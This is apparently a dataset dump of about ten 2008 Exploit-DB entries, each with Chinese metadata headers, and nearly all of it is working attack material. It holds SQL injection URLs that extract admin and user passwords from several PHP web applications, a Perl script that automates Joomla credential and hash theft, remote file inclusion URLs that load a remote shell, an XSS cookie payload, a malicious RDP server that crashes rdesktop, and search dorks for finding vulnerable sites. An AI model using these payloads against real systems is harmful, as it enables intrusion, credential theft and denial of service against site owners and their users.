QLWD/code_shield huggingface dataset:
标题: Mega File Hosting Script 1.2 - 'fid' SQL Injection EDB-ID: 5598 CVE: 2008-2521 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-12 漏洞利用脚本: ########################################

Script: Mega File Hosting script

########################################

Type: SQL Injection

########################################

1923TURK.ORG
TURKiSHWARRiORR

Step 1: Register an account

Step 2: login and go to /members.php?folders=1

Step 3: Create a folder with any name

Exploitation options:

ADIM 1: /members.php?folders=1&fid=-1+union+all+select+1,2,concat(user,0x3a,email),pass,5,6,7,8+from+users+-- to get the users

ADIM 2: Go to /members.php?folders=1&fid=-1+union+all+select+1,2,admin,pass,5,6,7,8+from+setting+-- to get the admin info

ADIM 3: Go to /members.php?folders=1&fid=-1+union+all+select+1,2,user,pass,5,6,7,8+from+server+-- to get the ftp server info (if its configured)



#######################################

dork: "Powered by: MFH v1"

####################################### 

# milw0rm.com [2008-05-12] URL: https://www.exploit-db.com/exploits/5598
标题: ZeusCart 2.0 - 'category_list.php' SQL Injection EDB-ID: 5594 CVE: 2008-5216 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-12 漏洞利用脚本: --==+================================================================================+==--
--==+      ZeusCart <= 2.0 (category_list.php) Remote SQL Injection Vulnerbility     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 12 MAY 2008
Script Download: http://www.ajsquare.com/products/ecom/index.php?auc=1
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

ZeusCart (from AJ E-Commerce) suffers from a insecure mysql query, This allows the
remote attacker to arbitrary execute mysql code/querys.

the below injection will perform a SELECT query which will display admin credentials in RED text.



SQL Injection:

http://site.com/category_list.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/CONCAT(user_name,char(58),password),2/**/FROM/**/admin/*

NOTE/TIP: 

passwords are plaintext



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+      ZeusCart <= 2.0 (category_list.php) Remote SQL Injection Vulnerbility     +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-12] URL: https://www.exploit-db.com/exploits/5594
标题: AJ Article 1.0 - 'featured_article.php' SQL Injection EDB-ID: 5590 CVE: 2008-5213 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-12 漏洞利用脚本: --==+================================================================================+==--
--==+   AJ Article 1.0 (featured_article.php) Remote SQL Injection Vulnerability     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 12 MAY 2008
Script Download: http://www.ajsquare.com/products/article/index.php?auc=1
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

AJ Article suffers from a insecure mysql query, This allows the
remote attacker to arbitrary execute mysql code/querys.

the below injection will perform a SELECT query which will display admin credentials in RED text.



SQL Injection:

http://site.com/featured_article.php?mode=detail&page=search&artid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,CONCAT(0x3C666F6E7420636F6C6F723D22726564223E,username,char(58),admin_password,0x3C2F666F6E743E),6,7,8,9,10,11,12/**/FROM/**/admin/*


NOTE/TIP: 

passwords are plaintext
admin login is at "/admin/"



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+   AJ Article 1.0 (featured_article.php) Remote SQL Injection Vulnerability     +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-12] URL: https://www.exploit-db.com/exploits/5590
标题: Joomla! Component xsstream-dm 0.01b - SQL Injection EDB-ID: 5587 CVE: 2008-2454 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-11 漏洞利用脚本: #!/usr/bin/perl -w

#########################################################
#     Joomla Component xsstream-dm 0.01 Beta Remote SQL Injection #
#########################################################

########################################
#[*] Founded by : Houssamix From H-T Team 
#[*] H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo
#[*] Contact: Ev!L
#[*] Greetz : CoNaN & HaCkeR_EgY & All friends & All muslims HaCkeRs  :) 
########################################

#[*] Script_Name: "Joomla"
#[*] Component_Name: "xsstream-dm" 0.01 Beta


########################################



print "\t\t########################################################\n\n";
print "\t\t#                        Viva Islam                    #\n\n";
print "\t\t########################################################\n\n";
print "\t\t# Joomla Component (xsstream-dm) Remote SQL Injection  #\n\n";
print "\t\t#           by Houssamix & Stack-Terrorist             #\n\n";
print "\t\t#              from H-T Team & v4 Team                 #\n\n";
print "\t\t########################################################\n\n";

use LWP::UserAgent;
die "Example: perl $0 http://victim.com/\n" unless @ARGV;
#the username of joomla 
$user="username";
#the pasword of joomla 
$pass="password";
#the tables of joomla 
$tab="jos_users";
#the the union of joomla 
$un="/**/union/**/select/**/";
#the vulnerable compenent  
$com="com_xsstream-dm&Itemid";
# Lets star exploiting 
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "/index.php?option=".$com."=69&movie=-1".$un."1,2,".$user.",4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/".$tab."/**";

$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

if ($answer =~ /<div class="contentpagetitle">(.*?)<\/div>/){
        
        print "\n[+] Admin User : $1";
}
$host2 = $ARGV[0] . "/index.php?option=".$com."=69&movie=-1".$un."1,2,".$pass.",4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/".$tab."/**";

$res2 = $b->request(HTTP::Request->new(GET=>$host2));
$answer = $res2->content;

if ($answer =~/([0-9a-fA-F]{32})/){print "\n[+] Admin Hash : $1\n\n";
print "\t\t#   Exploit has ben aported user and password hash   #\n\n";
}

else{print "\n[-] Exploit Failed...\n";}



#exploit discovered by Houssamix From H-T Team
# exploit exploited by Stack-Terrorist 

# milw0rm.com [2008-05-11] URL: https://www.exploit-db.com/exploits/5587
标题: BigACE 2.4 - Multiple Remote File Inclusions EDB-ID: 5596 CVE: 2008-2520 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-12 漏洞利用脚本: /   \    
_                         )      ((   ))     (
(@)                      /|\      ))_((     /|\
|-|                     / | \    (/\|/\)   / | \                      (@)
| |--------------------/--|-voV---\`|'/--Vov-|--\---------------------|-|
|-|                         '^`   (o o)  '^`                          | |
| |                               `\Y/'                               |-|
|-|                                                                   | |
| |                          -=ShAd0w-CrEw=-                          |-|
|-|                                                                   | |
| |                                                                   |-|
|_|___________________________________________________________________| |
(@)              l   /\ /         ( (       \ /\   l                  |-|
                 l /   V           \ \       V   \ l                  (@)
                 l/                _) )_          \I
                                   `\ /'
                                     `
            ----------------------------------------------
              GrEeTs To -=sHaDoW sEcUrItY TeAm=- GrEeTs To
            ----------------------------------------------
               Fabian, CraCkEr, ICQBomber w3tw0rk Str0ke
            ----------------------------------------------
                   BiG sHoUt OuT tO sh4d0w-crew.net
            ----------------------------------------------

Script Download:http://sourceforge.net/project/platformdownload.php?group_id=149865
Dork: "Powered by BIGACE 2.4"

Vulnerability Type: Remote File Inclusion
Vulnerable file: /bigace/system/admin/plugins/menu/menuTree/plugin.php
Exploit URL: http://localhost/bigace/addon/smarty/plugins/function.captcha.php?GLOBALS[_BIGACE][DIR][addon]=http://localhost/shell.txt?
http://localhost/bigace/addon/smarty/plugins/function.captcha.php?GLOBALS[_BIGACE][DIR][addon]=http://localhost/shell.txt?
http://localhost/bigace/system/application/util/item_information.php?GLOBALS[_BIGACE][DIR][admin]=http://localhost/shell.txt?
http://localhost/bigace/system/application/util/jstree.php?GLOBALS[_BIGACE][DIR][admin]=http://localhost/shell.txt?
http://localhost/bigace/system/classes/sql/AdoDBConnection.php?GLOBALS[_BIGACE][DIR][addon]=http://localhost/shell.txt?
http://localhost/bigace/system/admin/plugins/menu/menuTree/plugin.php?GLOBALS[_BIGACE][DIR][admin]=http://localhost/shell.txt?
http://localhost/bigace/system/admin/plugins/menu/menuTree/plugin.php?GLOBALS[_BIGACE][DIR][admin]=http://localhost/shell.txt?

Method: get
Register_globals: On
Vulnerable variable: GLOBALS[_BIGACE][DIR][admin]
Line number: 90
Lines:

----------------------------------------------
    include_once( dirname(__FILE__).'/menu_item_listing.php');
    include_once( $GLOBALS['_BIGACE']['DIR']['admin'] . 'include/item_main.php' );
}

----------------------------------------------[/code]

# milw0rm.com [2008-05-12] URL: https://www.exploit-db.com/exploits/5596
标题: PHP Classifieds Script 05122008 - SQL Injection EDB-ID: 5599 CVE: 2008-2453 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-12 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact :  t3tto0 [at] yahoo.com

                 cyb3r-1st [at] hotmail.com

<<!>> Groups : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection ++++++++++++++
=======================================================


<<->> script   : PHP Classifieds Script

<<->> download : www.phpclassifiedsscript.com  


=======================================================
++++++++++++++++ pwning ixxxxxx fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>>>>>>>

         <!> for admin inf0 ::: 
       >>>>>>>>>>>>>>>>>>>>>>>> www.site.me/browse.php?fatherID=-7+union+select+0,1,2,3,4,5,6,7,8,concat(username,0x3a,password),10+from+admin/*
       >>>>>>>>>>>>>>>>>>>>>>>> www.site.me/search.php?fatherID=-9999999+union+select+0,concat(username,0x3a,password),2,3,4,5,6,7,8,9,10+from+admin/*

        <!> for members inf0 ::: 
       >>>>>>>>>>>>>>>>>>>>>>>> www.site.me/browse.php?fatherID=-9999999+union%20select+0,1,2,3,4,5,6,7,8,concat(email,0x3a,password),10+from+members/*
       >>>>>>>>>>>>>>>>>>>>>>>> www.site.me/search.php?fatherID=-9999999+union+select+0,concat(email,0x3a,password),2,3,4,5,6,7,8,9,10+from+members/*


=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> My best freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker 
                          anaconda-ksa $ sirus $ crazy-x  and all freinds

<<->> InjEctOr5 TeaM  


<<->> All muslims

# milw0rm.com [2008-05-12] URL: https://www.exploit-db.com/exploits/5599
标题: AJ Auction 6.2.1 - 'classifide_ad.php' SQL Injection EDB-ID: 5591 CVE: 2008-5212 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-12 漏洞利用脚本: --==+================================================================================+==--
--==+   AJ Auction <= 6.2.1 (classifide_ad.php) Remote SQL Injection Vulnerability   +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 12 MAY 2008
Script Download: http://www.ajsquare.com/products/auction/index.php?auc=1
DORK: inurl:"classifide_ad.php"



Vendor Has Not Been Notified!



DESCRIPTION: 

AJ Auction (all versions to date) suffers from a insecure mysql query, allowing a remote attacker,
to arbitrary inject mysql code/query.

the below injection will display the admin credentials.



SQL Injection's:

http://site.com/classifide_ad.php?item_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,CONCAT(user_name,char(58),password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54/**/FROM/**/admin/**/LIMIT/**/0,1/*



NOTE/TIP: 

admin login is at /admin/



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !


peace, t0pP8uZz


--==+================================================================================+==--
--==+   AJ Auction <= 6.2.1 (classifide_ad.php) Remote SQL Injection Vulnerability   +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-12] URL: https://www.exploit-db.com/exploits/5591
标题: rdesktop 1.5.0 - 'process_redirect_pdu()' BSS Overflow (PoC) EDB-ID: 5585 CVE: 2008-1802 类型: DOS 平台: LINUX 发布日期: 2008-05-11 漏洞利用脚本: #!/usr/bin/perl
#
# http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=697

use strict;
use IO::Socket;

my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '3389', Listen => 1, Reuse => 1) || die($!);

my $evil =  "\x03\x00\x01\x47\x02\xf0\x80\x68\x00\x01\x03\xeb\x70\x81\x38"  .
  "\x01\x00\x10\x00"      . 
  "\xc5\x32"       .
  "\x04\x75"       . # PDU TYPE == 0x4 == PDU_REDIRECT
  "\xb7\xda\xf8\x43"      .
  "\x01\x00\x00\x00"      .
  "\x01\x00\x00\x00"      .
  "\xff\xff\xff\xff"      . # len of g_redirect_cookie
  "\x41" x 64       ; # g_redirect_cookie

while(my $c = $sock->accept())
{
 while(<$c>)
 {
  print $c ONE(), TWO(), THREE(), FOUR(), FIVE(), SIX(), SEVEN(), $evil;
 }
}




sub ONE()
{
 "\x03\x00\x00\x0b\x06\xd0\x00\x00\x12\x34\x00"
}

sub TWO()
{
 "\x03\x00\x01\x49\x02\xf0\x80\x7f\x66\x82\x01".
 "\x3d\x0a\x01\x00\x02\x01\x00\x30\x1a\x02\x01".
 "\x22\x02\x01\x03\x02\x01\x00\x02\x01\x01\x02".
 "\x01\x00\x02\x01\x01\x02\x03\x00\xff\xf8\x02".
 "\x01\x02\x04\x82\x01\x17\x00\x05\x00\x14\x7c".
 "\x00\x01\x2a\x14\x76\x0a\x01\x01\x00\x01\xc0".
 "\x00\x4d\x63\x44\x6e\x81\x00\x01\x0c\x08\x00".
 "\x04\x00\x08\x00\x03\x0c\x0c\x00\xeb\x03\x01".
 "\x00\xec\x03\x00\x00\x02\x0c\xec\x00\x02\x00".
 "\x00\x00\x02\x00\x00\x00\x20\x00\x00\x00\xb8".
 "\x00\x00\x00\x29\x60\xbb\x2f\xc4\x4d\x00\x9e".
 "\x58\x8a\xb4\x85\x35\x6a\x71\xea\xad\xf9\x3d".
 "\x0e\x5e\x8e\x87\x64\x2d\x52\x42\xed\xb2\x91".
 "\x3f\xf9\x01\x00\x00\x00\x01\x00\x00\x00\x01".
 "\x00\x00\x00\x06\x00\x5c\x00\x52\x53\x41\x31".
 "\x48\x00\x00\x00\x00\x02\x00\x00\x3f\x00\x00".
 "\x00\x01\x00\x01\x00\xf9\xa3\x35\xb2\x78\x63".
 "\x8d\x94\x65\x47\x22\x54\x49\x55\xae\x6f\x74".
 "\x69\x73\x6e\xee\x2b\xa5\xd0\x47\xf6\xc0\x89".
 "\x2e\xa0\x54\xf5\x12\x87\x75\xb5\x89\xf7\x83".
 "\x48\xd9\x54\xeb\xde\x20\x73\xd6\xd8\xf3\xee".
 "\x0f\xf7\xc2\xaa\xa4\x79\x0a\x5a\x64\x92\x53".
 "\xc4\x75\xd4\x00\x00\x00\x00\x00\x00\x00\x00".
 "\x08\x00\x48\x00\xf6\x20\x04\x62\x5b\x2f\x04".
 "\xae\x02\x04\x4a\x7e\xcf\x59\x02\x11\xf7\x7f".
 "\xab\x74\x95\xce\x01\x4e\xf6\x14\x50\x0b\xd7".
 "\x54\x8f\xf0\x92\xd5\x0c\x6f\x42\xd8\x21\x98".
 "\x9f\x87\x50\x9a\x33\x6c\xef\x65\x05\x5c\x4a".
 "\x93\x51\xc1\x69\x59\x7c\x3d\xf4\x63\xdc\x53".
 "\x66\x3b\x00\x00\x00\x00\x00\x00\x00\x00"
}

sub THREE()
{
 "\x03\x00\x00\x0b\x02\xf0\x80\x2e\x00\x00\x04"
}

sub FOUR()
{
 "\x03\x00\x00\x0f\x02\xf0\x80\x3e\x00\x00\x04\x03\xed\x03\xed"
}

sub FIVE()
{
 "\x03\x00\x00\x0f\x02\xf0\x80\x3e\x00\x00\x04\x03\xeb\x03\xeb"
}

sub SIX()
{
 "\x03\x00\x00\x0f\x02\xf0\x80\x3e\x00\x00\x04\x03\xec\x03\xec"
}

sub SEVEN()
{
 "\x03\x00\x00\x22\x02\xf0\x80\x68\x00\x01\x03\xeb\x70\x14\x80\x02\x10\x00\xff\x03\x10\x00\x07\x00\x00\x00\x02\x00\x00\x00\x30\x9a\x00\x00"
}

# milw0rm.com [2008-05-11] URL: https://www.exploit-db.com/exploits/5585
标题: ClanLite 2.x - SQL Injection / Cross-Site Scripting EDB-ID: 5595 CVE: 2008-5215 2008-5214 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-12 漏洞利用脚本: ########## CANAKKALE GECiLMEZ  yildirimordulari.org z0rlu.ownspace.org ##############################

ClanLite V2 SQL inj. & XSS

dork: CrÃ©Ã© par Narfight, ClanLite V2.2006.05.20 Â© 2000-2005

dork: Themed By Ray Â© 2003, 2004 iOptional 

readme script

/****************************************************************************
 * Fichier  :                *
 * Copyright : (C) 2004 ClanLite V2           *
 * Email  : support@clanlite.org          *
 *                   *
 *   This program is free software; you can redistribute it and/or modify *
 *   it under the terms of the GNU General Public License as published by *
 *   the Free Software Foundation; either version 2 of the License, or  *
 *   (at your option) any later version.         *
 ***************************************************************************/
   
 author: ZoRLu 

   home: ( yildirimordulari.org ) ( z0rlu.ownspace.org ) ( milw0rm.org ) ( r00tsecurity.org ) ( securityfocus.com ) 

contact: trt-turk@hotmail.com & ZoRLu@w.cn ( baska msn yok taklitlerden kacInIn )

    Not: msn i ekleyipte densiz densiz konusanIn sulalesini cumle alem .... La benden keylog isyetesiniz diye vermiyorum msn i. sacmalamayIn da  :((

    Not: http://www.z0rlu.ownspace.org   acIklarIn kullanImI ile ilgili bilgiler blogumda mevcut! naparsIn para yokk free actIk :))

########## CANAKKALE GECiLMEZ  yildirimordulari.org z0rlu.ownspace.org ##############################

http://localhost/clanlite_path/service/profil.php?link=[SQL]


[SQL]=

ZoRLu'/**/union/**/select/**/null,null,mail,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(user,0x3a,psw),null,null,null/**/from/**/clanlite_user/*


[XSS]=

http://localhost/clanlite/service/calendrier.php?mois=6&annee="><script>alert(document.cookie)</script>


########## CANAKKALE GECiLMEZ  yildirimordulari.org z0rlu.ownspace.org ##############################

thanx: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, bLaCk, aRKi, the_KaM!L, ReD_KaN, iSoMiX, edish, harded, z3h!r, KoDLoK, Dr.SaLTuK,

kasIrga(lavrens), w3R3m, avkidis, head_hunter and all users yildirimordulari.org & r00tsecurity.org

O Simdi Komando: iSoMiX ( CanImsIn Kardesim, KanKam Benim :))  )

Efsane: YILDIRIMORDULARI.ORG

Dersler BasladI Sanal Bitti  :(((

########## CANAKKALE GECiLMEZ  yildirimordulari.org z0rlu.ownspace.org ##############################

# milw0rm.com [2008-05-12] URL: https://www.exploit-db.com/exploits/5595
标题: PhpBlock a8.5 - Multiple Remote File Inclusions EDB-ID: 5586 CVE: 2008-5210 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-11 漏洞利用脚本: ???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                         [ Remote File Include ]                          ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : PitBull Crew           ? ?                                    ?
?   Script   : PhpBlock a8.5          ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????
  
http://localhost/path/script/init/createallimagecache.php?PATH_TO_CODE=[SHELL]
http://localhost/path/script/tick/allincludefortick.php?PATH_TO_CODE=[SHELL]
http://localhost/path/script/tick/test.php?PATH_TO_CODE=[SHELL]
http://localhost/path/modules/dungeon/tick/allincludefortick.php?PATH_TO_CODE=[SHELL]


??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, WizzKidd, Sad, S|AyER, Ehab, Tfaces, Guzman,
       Karlousha, Od3d99aa. Mark, Ramzi, Lust, DeaD, adal, xD

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????


# milw0rm.com [2008-05-11] URL: https://www.exploit-db.com/exploits/5586